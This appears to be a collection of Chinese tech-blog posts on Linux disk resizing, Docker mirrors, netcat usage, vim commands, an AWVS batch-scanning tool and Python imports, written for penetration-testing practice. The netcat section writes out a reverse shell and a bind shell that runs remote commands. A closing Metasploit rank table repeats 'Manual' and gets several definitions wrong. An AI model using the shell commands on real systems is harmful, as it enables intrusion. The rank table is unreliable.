简介

服务器环境是Ubuntu Server 20.04 ,在部署一个7G的docker容器的时候出现了问题,发现硬盘过小无法pull下来,但是我Vmware上给了50G的硬盘空间

解决方案

查看磁盘使用情况

vgdisplay

可以得到如下结果

root@bugscan:/home/adian# vgdisplay
  --- Volume group ---
  VG Name               ubuntu-vg
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  2
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                1
  Open LV               1
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               <49.00 GiB
  PE Size               4.00 MiB
  Total PE              12543
  Alloc PE / Size       6272 / 24.50 GiB
  Free  PE / Size       6271 / <24.50 GiB
  VG UUID               9AMwHg-rdly-0xEQ-JiF9-nfZi-BD7x-QLuAPM

可以查看到

Free  PE / Size       6271 / <24.50 GiB

这一行给出了剩余空间为24.5GB
我们按照百分比给硬盘加上

lvresize -l  +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv

返回信息如下

Size of logical volume ubuntu-vg/ubuntu-lv changed from 4.00 GiB (1024 extents) to <19.00 GiB (4863 extents).Logical volume ubuntu-vg/ubuntu-lv successfully resized.

其实也可以按照大小加

lvextend -L +10G /dev/mapper/ubuntu--vg-ubuntu--lv     //增加10G
lvreduce -L -10G /dev/mapper/ubuntu--vg-ubuntu--lv     //减小10G

在加完后,刷新分区

resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv 

即可发现硬盘已经改变大小

df -h

宝塔面板需要重启面板才能看到变化

前言

最近在准备安全演练,有一个大小为7G的docker镜像需要部署,在pull到4G左右的时候总是会卡死,所以百度解决后写下本文

解决方案

申请个人阿里云镜像源

https://cr.console.aliyun.com/cn-beijing/instances/mirrors

注册之后可以获得一个个人镜像源地址,但是需要docker版本>1.10.0
在Ubuntu环境下,我们编辑/etc/docker/daemon.json配置文件来进行镜像源的修改

sudo nano /etc/docker/daemon.json

将阿里云给的镜像源地址复制进去(链接替换成自己的)

{
  "registry-mirrors": ["https://cv6rxxxx.mirror.aliyuncs.com"]
}

保存文件并更新

sudo systemctl daemon-reload
sudo systemctl restart docker

然后再次Pull了以下,下载速度达到了我100M带宽的正常速度

前言

NetCat一直被誉为“瑞士军刀”,他...............

这样的话已经看吐了,与其天天看别人写的支离破碎的教程,不如自己看一看文档

Netcat

帮助信息

Netcat V1.10-46版本中,-h可以查看帮助信息

[v1.10-46]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

翻译

连接到某处: nc [-options] hostname port[s] [ports] ...

开启监听:

主要参数

参数说明
-c <commands>在连接后执行命令
-e <filename>在连接后运行文件
-b允许广播
-g <gateway>网关源路由跃点 最大为8
-G <num>设置来源路由指向器,其数值为4的倍数
-i secs发送包间隔(端口扫描)延时秒数
-k在socket上配置keepalive
-l监听模式
-n仅用IP地址,不使用DNS解析
-o file文件流量的存储
-p port本地端口号
-r随机的本地和远程端口
-q secs在EOF 退出后的延时
-s addr本地源地址
-T tos设置服务类型
-tTCP模式
-uUDP模式
-v详细输出(使用两个-v可以得到更详细的输出)
-w secstimeout的时间
-C发送CRLF作为行尾
-z无读写模式(用于扫描),连接立即关闭

应用

开启监听端口

监听<port>端口,准备被远程连接

nc -l -p <port>

在执行后,无回显,执行netstat -a可以查看到12345端口已经开启

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:<port>          0.0.0.0:*               LISTEN   

如果想输出监听到的信息,只需要使用-v参数来实现

nc -l -v -p <port>

在加了-v参数之后,执行有了回显

┌──(adian㉿pentest)-[~]
└─$ nc -l -v -p <port>                                                                                                                                                       
listening on [any] <port> ...

如果需要输出到日志文件,可以使用>

nc -l -p <port> > <filename>

如果需要设置只能使用TCP方式连接,则可以使用-t参数

nc -l -t -p <port>

连接到开启监听的服务器

在远程服务器开启了-l之后,可以去连接

nc <ip> <port> //可以用-n参数来指定参数类型为ip

如果被连接的服务器开启了-v则会输出

listening on [any] <port> ...
connect to [<ip>] from localhost [<ip>] port

连接并执行命令

远程服务器(Linux),可以使用如下命令-c来让远程用户执行命令

nc -l -v -c "rm -rf xx.txt" -p <port>

其中-c参数可以为bash命令,如果为、bin/bash则为可交互,同时用-e参数也可以实现

如果服务器系统为Windows,则可以把-c参数改为C:\Windows\System32\cmd.exe

本地主机采用正常方式连接

nc <ip> <port> //可以用-n参数来指定参数类型为ip

连接后可执行bash命令

ls
公共
模板
视频
图片
文档
下载
音乐
桌面

但是远程服务器开了-v并不能看到用户执行的命令以及回显,只有在命令错误的时候会输出,尝试了用两个-v以及-vv都不能输出用户执行的命令

/bin/sh: 1: dasd: not found

文件传输

传输效率很低,不推荐

服务端==>客户端传输:

服务端监听时

nc -l -p <port> > <filename>

客户端连接

nc <ip> <port> > <filename>

客户端==>服务端传输:

服务端监听时

nc -l -p <port> > <filename>

客户端连接

nc <ip> <port> < <filename>

反向连接

在防火墙的作用下,连接到服务器的数据包可能会被拦截,但是主机主动发出去的通常不会被拦截,所以可以使用以下方式实现反弹shell

客户端

nc -l -p <port>

服务端

nc -e /bin/sh <ip> <port>

流媒体服务器

服务端

cat video.mp4 | nc -l -p <port>

客户端

nc -n -v <ip> <port> | mplayer -vo x11 -cache 3000 -

目录传输

目录传输需要先压缩成压缩文件再传输

或者采用比较简单的方式

服务端:

tar -cvf - <dir>/ | nc -l -p <port>

客户端:

nc <ip> <port> | tar -xvf -

端口扫描

验证单个端口(TCP/UDP),只有在扫描本地的时候速度很快,相比起来还是nmap快得多,所以尽量用专用的工具,nc只作为辅助

nc -z -n -v -t(u) <ip> <port>

目前遇到了一个问题就是如果不自定义-w扫描会非常慢,所以我修改了timeout的参数

nc -w 1 -nvz <ip> <port>

如果端口开放会返回

(UNKNOWN) [<ip>] <port> (?) open

未开放则为

(UNKNOWN) [<ip>] <port> (?) : Connection timed out

获取端口banner信息

使用-v可以获取到端口的banner信息

nc -v <ip> <port>

简易聊天

这是最好实现的一个,只需要在监听和连接的时候都开启-v参数就可以实现了

nc -l -v -p <port>

客户端

nc -v <ip> <port>

如果加了> log.txt这样的指令,还可以把聊天记录保存下来

简介

在我重置了电脑之后,重新配置环境,在Vmware中的Kali Linux无法正常运行DS_Store_exp,不停的报错,提示Import错误,DS_STORE模块不存在,在我Pip安装之后仍有此问题

解决

在我尝试了查看了pip版本之后,发现Kali中的pippip3都是python-3.9的,所以我们重新安装python2pip

wget https://bootstrap.pypa.io/2.6/get-pip.py
python2 get-pip.py

在安装结束之后,CSDN写出的部分代码是错误的,比如调用python2-pip的指令为pip2而非pip
我们使用pip2来安装ds-store
此时会出现新的问题,会报错

ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

此时我们只需要升级setuptools就可以解决了

pip2 install --upgrade setuptools

然后即可安装成功

打开文件

命令描述
vim filename打开或新建文件,并将光标置于第一行首
vim +n filename打开文件,并将光标置于第n行首
vim + filename打开文件,并将光标置于最后一行首
vim +/pattern filename打开文件,并将光标置于第一个与pattern匹配的串处
vim -r filename在上次正用vim编辑时发生系统崩溃,恢复filename
vim filename….filename打开多个文件,依次编辑

配置

命令描述
all列出所有选项设置情况
term设置终端类型
ignorance在搜索中忽略大小写
list显示制表位(Ctrl+I)和行尾标志($)
number显示行号
report显示由面向行的命令修改过的数目
terse显示简短的警告信息
warn在转到别的文件时若没保存当前文件则显示NO write信息
nomagic允许在搜索模式中,使用前面不带“”的特殊字符
nowrapscan禁止vi在搜索到达文件两端时,又从另一端开始
mesg允许vi显示其他用户用write写到自己终端上的信息
:set number / set nonumber显示/不显示行号
:set ruler /set noruler显示/不显示标尺
:set hlsearch高亮显示查找到的单词
:set nohlsearch关闭高亮显示
:syntax on语法高亮
:set nu显示行号
:set tabstop=8设置tab大小,8为最常用最普遍的设置
:set softtabstop=84:4个空格,8:正常的制表符,12:一个制表符4个空格,16:两个制表符
:set autoindent自动缩进
:set cindentC语言格式里面的自动缩进

移动

位置
k nk上 向上移动n行
j nj下 向下移动n行
h nh左 向左移动n行
l nl右 向右移动n行
首行gg
末行G
第{n}行{n}G
文件{n}%处的行{n}%
行首0
行尾$
行内第一个非空字符^
上一行行首-
下一行行首+
下一词首w
下一词首(符号也算词的一部分)W
上一词首b
上一词首(符号也算词的一部分)B
下一词尾e
下一词尾(符号也算词的一部分)E
上一词尾ge
上一词尾(符号也算词的一部分)gE
上一句子(
下一句子)
上一段落{
下一段落}

插入

命令描述
i在光标前
I在当前行首
a光标后
A在当前行尾
o在当前行之下新开一行
O在当前行之上新开一行
r替换当前字符
R替换当前字符及其后的字符,直至按ESC键
s从当前光标位置处开始,以输入的文本替代指定数目的字符
S删除指定数目的行,并以所输入文本代替之
ncw/nCW修改指定数目的字
nCC修改指定数目的行
==自动缩进当前行

复制粘贴

命令描述
p粘贴用x或d删除的文本
ynw复制n个单词
yy复制一行
ynl复制n个字符
y$复制当前光标至行尾处
nyy拷贝n行

删除(剪切)命令

命令描述
x/X删除一个字符,x删除光标后的,而X删除光标前的
dw删除一个单词(删除光标位置到下一个单词开始的位置)
dnw删除n个单词
dne也可,只是删除到单词尾
do删至行首
d$删至行尾
dd删除一行
ndd删除当前行及其后n-1行
dnl向右删除n个字母
dnh向左删除n个字母
dnj向下删除n行,当前行+其上n行
dnk向上删除n行,当期行+其下n行
cnw[word]将n个word改变为word
C$改变到行尾
cc改变整行
shift+j删除行尾的换行符,下一行接上来了

行方式命令

命令描述
:n1,n2 co n3将n1行到n2行之间的内容拷贝到第n3行下
:n1,n2 m n3将n1行到n2行之间的内容移至到第n3行下
:n1,n2 d将n1行到n2行之间的内容删除
:n1,n2 w!command将文件中n1行至n2行的内容作为command的输入并执行之 若不指定n1,n2,则表示将整个文件内容作为command的输入

搜索及替换

命令描述
/pattern从光标开始处向文件尾搜索pattern
?pattern从光标开始处向文件首搜索pattern
n在同一方向重复上一次搜索命令
N在反方向上重复上一次搜索命令
cw newword替换为newword
n继续查找
.执行替换
:s/p1/p2/g将当前行中所有p1均用p2替代,g表示执行 用c表示需要确认
:n1,n2 s/p1/p2/g将第n1至n2行中所有p1均用p2替代
:g/p1/s//p2/g将文件中所有p1均用p2替换
:1,$ s/string1/string2/g在全文中将string1替换为string2

撤销

命令描述
u撤销前一次的操作
shif+u(U)撤销对该行的所有操作

其他

命令描述
:e filename打开文件filename进行编辑
:e!放弃修改文件内容,重新载入该文件编辑
:!command执行shell命令command
:r!command将命令command的输出结果放到当前行
:read file.c将文件file.c的内容插入到当前光标所在的下面

前言

由于我个人是一名贫穷的学生机用户,学生机用来搞事情实在是有些吃力,但是闲置的资源总让我感到心痛,所以我决定用来挂AWVS这个漏扫环境

开始的时候用过Github上许多的AWVS13批量扫描脚本,但是我感觉总是差强人意,学生机的配置实在是不够高,哪怕是在批量导入Target的时候都有可能发包过快导致服务器短暂的宕机,更别提在扫描完全开启的时候,服务器必然宕机,我的Blog都无法访问,所以我花了一个晚上开发了这个小工具,希望可以帮到很多和我一样贫穷的孩子

开发学的比较菜,也希望大佬可以指出我的错误和不足

工具简介

本工具和其他工具的不同点在于,其他脚本的流程基本是

将所有的目标导入==》将所有的目标开始扫描==》等待AWVS自己解决

而由于上述提到的低配置机器会出现宕机的现象,所以在处理上完全在工具内部解决

判断当前扫描个数==》添加任务至设定的数量==》某个目标扫描结束==》添加目标并进行扫描

本工具具有以下功能

  • 美观的界面(其实不美观)
  • 控制同时最多数量个扫描同时进行
  • 更强的容错机制

美观的界面

由于本人实在是审美有些跟不上,简单的搞一下吧

1.png

控制同时最多数量个扫描同时进行

在脚本的initself.max_task为同时并发的任务数量,推荐学生机调成1,因为配置实在是太低了

简单写一下需要更改的配置,考虑到很多人像我一样是要nohup来跑,所以取消了input的区域

self.file_name = "target.txt"  # 文件名
self.api_host = "https://127.0.0.1:13443/"  # API地址
self.api_key = "asdsadsadsadsadsadsadwf321edsa32ed42dasd"  #API key
self.scan_mode = "11111111-1111-1111-1111-111111111112"  # 扫描模式
self.scan_speed = "sequential"  # 扫描速度
self.max_task = 5  # 最大同步任务,低配置建议为1

scan_mode列表:

类型
Full Scan11111111-1111-1111-1111-111111111111全部扫描
High Risk Vulnerabilities11111111-1111-1111-1111-111111111112高风险漏洞
Cross-site Scripting Vulnerabilities11111111-1111-1111-1111-111111111116XSS漏洞
SQL Injection Vulnerabilities11111111-1111-1111-1111-111111111113SQL注入漏洞
Weak Passwords11111111-1111-1111-1111-111111111115弱口令
Crawl Only11111111-1111-1111-1111-111111111117仅爬行
Malware Scan11111111-1111-1111-1111-111111111120恶意软件扫描

scan_speed列表:

  • sequential
  • slow
  • moderate
  • fast

从上到下为由慢到快

下载地址

https://github.com/Adian-kids/Awvs13_Batch.git

最后

有BUG请提交issue或者联系我!

谢谢大家

Docker源长期及时更新,感谢雷石安全实验室。

在docker仓库已经打包好2个扫描器,分别是awvs13和nessus,供广大兄弟们使用。

docker命令

pull 拉取下载镜像
docker pull leishianquan/awvs-nessus:v1
启动
docker run -it -d -p 13443:3443 -p 8834:8834 leishianquan/awvs-nessus:v1
需要注意的是访问Nessus需要进入容器启动Nessus 服务:

查看容器
docker ps –a
启动容器
docker start 容器id
进入容器
docke exec –it 容器id /bin/bash
启动nessus服务
/etc/init.d/nessusd start
Nessus:
https://127.0.0.1:8834/#/

nessus username:leishi

nessus password:leishianquan

Awvs13:
https://127.0.0.1:13443/

awvs13 username: admin@admin.com

awvs13 password: Admin123

转载自https://blog.lfoder.cn/2020/06/04/%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F-AWVS-Nessus-Docker%E7%89%88/

前言

接触python有一段时间了,但是对import的使用还是一知半解`,在最近的开发中,遇到了关于import的问题,研究后写出来供大家参考

使用

import作用

import用来导入Package或者Module,导入后即可调用其功能

  • Package 通常Package是一个目录,导入的时候可以使用语句
from PackageName import ModuleName

或者Package目录下有入口文件__init__.py则可以直接

import PackageName

多数时候我们都在调用别人写好的package,有Idle自带的也有自己pip安装的

  • Module Module通常是一个文件,可以直接import导入
import ModuleName

也可以直接导入单一的功能

from ModuleName import FunctionName

Module常见格式有.py .pyo .pyc .pyd .so .dll 如果想导入多个module,则可以直接用逗号分隔开

import random, sys, os, socket

一个一个导入也可以

import random
import sys
import os
import socket

绝对导入和相对导入

在import的使用语法中,我们用.来替代/ 绝对导入和相对导入有些类似于绝对路径和相对路径 比如我们有以下目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py

绝对导入

如果此时root目录下__init__.py想要导入Package_one中Module_one中的function_one 则可以使用以下语句

from Package_one.Module_one import function_one

绝对导入的优点是位置非常的明确和直接,PEP8明确建议采用绝对导入,同时缺点也很明确,在大的项目中,import可能会非常的冗长比如你可能出现

from XXX.XXX.XXX.XXXX.XXX.XXX import FunctionName

此时相对导入的好处就显现了出来

相对导入

就像相对路径一样,我们用一个.来表示当前目录,用两个..来表示上一级目录 还是刚才的目录结构

  • Root
  • __ init__.py

    • Package_one

      • Module_one.py
      • Module_two.py
    • Package_two

      • Module_three.py
      • Module_four.py
      • Package_three

        • __ init__.py 比如在Module_one中,我们要导入Module_two,那么我们可以直接
from . import Module_two

如果要导入Module_two中的function_one

from .Module_two import function_one

在跨目录时可以使用..来返回上级目录 比如我们要在Module_one中导入Module_four 则可以使用

from ..Package_two import Module_four

不幸的是,相对导入可能是混乱的,特别是对于目录结构可能改变的共享项目。相对导入也不像绝对导入一样可读,而且很难识别导入资源的位置。

在Msf的Payload的Rank列显示每个模块的级别
QQ图片20200709175228.png

Rank含义
Manual难以攻击成功
Low基本不可能成功,成功率低于50%
Average一般不会成功
Normal在特定版本中可以被利用成功
Good一般会成功
Great会自动检测到可利用的目标
Manual不会使服务器崩溃,基本可以放心使用,适用于Sql注入,命令执行,RFI等